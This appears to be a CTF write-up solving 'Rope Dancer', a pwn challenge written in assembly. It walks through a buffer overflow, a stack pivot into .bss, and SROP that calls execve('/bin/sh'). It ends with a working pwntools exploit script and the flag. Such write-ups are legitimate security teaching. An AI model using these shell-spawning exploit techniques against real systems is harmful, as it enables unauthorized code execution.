---
description: >-
  A circus has just opened near you and you would love to work there as a rope
  dancer. Perhaps you could access their recruitment criteria to maximize your
  chances of being selected?
---

# Space Heroes 2023: Rope Dancer

## TL;DR

> _Stack Pivot_ from a limited initial buffer to a large _.bss_ section, followed by _SROP_ under a constraint environment of limited gadgets available.

## Basic File Checks

ROPedancer is a job application program that allows 3 consecutive user inputs. The 1st question is a yes or no question, which we can safely ignore.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FB5tTXz6Xxvu7PILL1ga3%2Fimage.png?alt=media&#x26;token=248aa70a-ce81-4131-9d36-6a067d75bda3" alt=""><figcaption></figcaption></figure>

A buffer overflow occurs in the email field, leading to a segfault. The second input contains a larger buffer but reads in 400 characters exactly without an obvious BOF.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FHEvNtlI3Dha73ZfzLxYO%2Fimage.png?alt=media&#x26;token=8f84574c-b6c1-40d1-9283-824c59494f91" alt=""><figcaption></figcaption></figure>

Not a single protection, so we don't have to worry about any info leaks other than LIBC.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FTq930beC3nkO9e8QCFKV%2Fimage.png?alt=media&#x26;token=dd8ae096-0a6e-4973-b8e7-b177dbac6c0d" alt=""><figcaption></figcaption></figure>

## Static Code Analysis

The decompilation is almost unreadable because the entire program is written in [assembly](https://github.com/HeroCTF/HeroCTF_v5/blob/main/Pwn/Rope_Dancer/ropedancer.asm). However, we know that there is a small buffer overflow that occurs in the email field (16 bytes), which allows us to fit a small ROP chain there.&#x20;

On our next input, we have a significantly larger buffer (500 bytes), but BOF does not occur here.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2F0KUZZHvyOlkIujIPyCPY%2Fimage.png?alt=media&#x26;token=b383aec4-35bc-44a8-a569-7422c20165b0" alt=""><figcaption></figcaption></figure>

From the assembly above, we know that 500 bytes are allocated in `motivation_letter`. This is coincidentally the start of the _.bss_ section in our binary.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FcLc8CxpikbbGAY12tRol%2Fimage.png?alt=media&#x26;token=7bcc1c6c-4b9a-4438-a76b-977510a76ec9" alt=""><figcaption></figcaption></figure>

## Stack Pivoting

Our goal is to now build a small ROP chain in our initial buffer to stack pivot into the larger _.bss_ section. Let's try to find a stack pivoting gadget using Ropper. This shows that we can control the value of `rsp` if we have a precursor way to manipulate `rbp`.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FomGnLRYPNuWoRlKYW6Aq%2Fimage.png?alt=media&#x26;token=d2381d97-6ced-44b6-9014-3f9c704bff0a" alt=""><figcaption></figcaption></figure>

Turns out `pop rbp` gadget exists! So we basically fulfill the whole requirement for Stack Pivoting.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2F0adUGqd6A6u9UF6kuWps%2Fimage.png?alt=media&#x26;token=79acc2e3-41bf-4cb1-8b46-033ca6af5a47" alt=""><figcaption></figcaption></figure>

## Exploit Plan

We have just found a way to pivot into a large buffer via Stack Pivoting. Now let's focus on constructing an ROP chain that leads to a shell or flag.

### ret2libc :x:

Looking at the available gadgets, we have a very limited option of pop-based gadgets. The `pop rdi` gadget used to perform a `ret2libc` attack is no-where to be seen.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FDJv3qsdeKTxhWR5EDLTQ%2Fimage.png?alt=media&#x26;token=5729ec44-21a3-414f-9662-69b29edd6a29" alt=""><figcaption></figcaption></figure>

Since the program is written entirely in assembly, there's no dynamic linking of LIBC libraries, and therefore there won't be any GOT entries populated. At this point, `ret2libc` is practically impossible as there's not a single GOT entry that we can leak to calculate the LIBC base + the lack of gadgets.&#x20;

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FFVlPhC0kbQ7Qo349N9gf%2Fimage.png?alt=media&#x26;token=d70a827d-f58e-4a84-b291-50a83247df70" alt=""><figcaption></figcaption></figure>

### SIGROP :green\_circle:&#x20;

Under a constrained environment where there are a limited number of useful gadgets, we can utilize SROP to control all register values at once by spoofing a fake sigreturn frame. The downside of this is SROP requires a huge buffer size (>300 bytes). This is perhaps why the challenge was designed to have a 500 bytes buffer in the _.bss_ section.

As Sigreturn is considered a special type of syscall, we would still require few gadgets to control the `rax` registers where the syscall number is stored, outside of the spoofed sigreturn frame.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2Fe360dWyL3AX34zkSReNW%2Fimage.png?alt=media&#x26;token=9cfd04cd-4285-49e1-8cd9-f0e20ff56e9a" alt=""><figcaption></figcaption></figure>

## Solution

Putting everything together, we have a 3 stage payload:

1. **Stage 1:** Using the smaller buffer to fit an initial ROP chain to pivot to the larger _.bss_ section.
2. **Stage 2:** Write `/bin/sh` to the start of _.bss_ section, followed by calling syscall `0xf` to invoke SIGROP.
3. **Stage 3:** Setup the sigreturn frame to call `execve(/bin/sh)`.

{% code title="solve.py" %}
```python
#!/usr/bin/env python3
from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Binary filename
exe = './ropedancer'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'DEBUG'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

io = start()
rop = ROP(elf)

pop_rbp = 0x0000000000401117        # pop rbp; ret; 
stack_pivot = 0x0000000000401114    # mov rsp, rbp; pop rbp; ret;
syscall = 0x000000000040102f
xor_eax = 0x0000000000401011        # xor eax, eax; inc al; ret;
inc_al = 0x0000000000401013         # inc al; ret;

io.sendlineafter(b'ROPedancer? ', b'yes')

payload = b"A" * 24
payload += p64(pop_rbp)
payload += p64(elf.bss())          # Destination address for Stack Pivot
payload += p64(stack_pivot)        # mov rsp, rbp; pop rbp; ret;
payload += p64(0)                  # Fill up rbp after pop

io.sendlineafter(b'contact you: ', payload)

# SigreturnFrame() allows us to spoof the frame, so we do not require pop rax,rdi,rsi,rdx,rip here
frame = SigreturnFrame()
# syscall number for execve()
frame.rax = 0x3b                
# points to the start of bss which contains the /bin/sh string
frame.rdi = elf.bss()  
frame.rsi = 0x0
frame.rdx = 0x0
frame.rip = syscall

# As this is outside of SigreturnFrame(), we can't spoof the registers, so we need a way to set rax to 15
payload = b"/bin/sh\x00"        # Write /bin/sh to the start bss section
payload += p64(xor_eax)         # Sigreturn is syscall 0xf (15), initial value here is 1
payload += p64(inc_al) * 0xe    # Increment 14 more times
payload += p64(syscall)
payload += bytes(frame)

io.sendlineafter(b'hire you: ', payload)
io.interactive()
```
{% endcode %}

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FhEg9AYcjU0as2FceZSZN%2Fimage.png?alt=media&#x26;token=cd52a632-6d24-419c-8306-4b7c8368a9c3" alt=""><figcaption></figcaption></figure>

**Flag:** Hero{1\_w4nN4\_b3\_4\_R0P3\_D4nC3r\_s0\_b4d!!!}
